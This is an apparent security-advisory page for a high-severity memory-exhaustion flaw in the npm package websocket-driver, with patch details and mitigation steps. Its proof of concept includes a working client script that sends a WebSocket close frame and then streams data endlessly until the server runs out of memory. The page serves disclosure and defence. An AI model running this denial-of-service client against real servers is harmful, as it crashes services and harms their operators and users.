NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-140002 — websocket-driver

HIGHFix: faye/websocket-driver-node@189e7b7

CVE-2026-140002 is a high-severity (CVSS 7.5) CWE-770 vulnerability in websocket-driver. A fix is available for websocket-driver — see the affected versions and patch details below.

websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed

Also known asGHSA-v674-7268-hvqh
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Dec 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
📦websocket-driver

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A WebSocket server implemented using websocket-driver can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection.

Details

When used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the driver object provided by this library. On receipt of a WebSocket close frame, the driver emits a close event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the close event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory.

This has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects.

Proof of concept

Given a server accepting WebSocket connections using websocket-driver:

const net = require("net")
const websocket = require("websocket-driver")

const server = net.createServer((connection) => {
  let driver = websocket.server({ maxLength: 1024 })

  driver.on("connect", () => {
    if (websocket.isWebSocket(driver)) driver.start()
  })

  driver.on("close", () => connection.end())
  connection.pipe(driver.io).pipe(connection)
})

server.listen(5083, "127.0.0.1")

A client can connect to this server, send a WebSocket close frame, and then keep sending more data over the same connection, after the server has closed its side of the connection.

const net = require("net")

let socket = net.connect({ port: 5083, host: "127.0.0.1", allowHalfOpen: true })

socket.write(
  "GET / HTTP/1.1\r\n" +
  "Host: 127.0.0.1\r\n" +
  "Connection: Upgrade\r\n" +
  "Upgrade: websocket\r\n" +
  `Sec-WebSocket-Key: ${btoa("the sample nonce")}\r\n` +
  "Sec-WebSocket-Version: 13\r\n" +
  "\r\n"
)

socket.once("data", () => {
  // masked Close frame, empty payload
  socket.write(Buffer.from([0x88, 0x80, 0x00, 0x00, 0x00, 0x00]))
  
  // send arbitrary data
  let chunk = Buffer.alloc(2 ** 20)
  setInterval(() => socket.write(chunk), 100)
})

If this client is left running, the server's memory use will continue to grow indefinitely.

Impact

A server using websocket-driver can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmwebsocket-driverall versions0.8.1npm install websocket-driver@0.8.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for websocket-driver, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update websocket-driver to 0.8.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-140002 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary A WebSocket server implemented using `websocket-driver` can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection. ### Details When used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the `driver` object provided by this library. On receipt of a WebSocket close frame, the driver emits a `close` event, which the caller should handle by closing the TCP socket. However, sinc
O3 Security · Impact-Aware SCA

Is CVE-2026-140002 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-140002: websocket-driver — Fixed in 0.8.1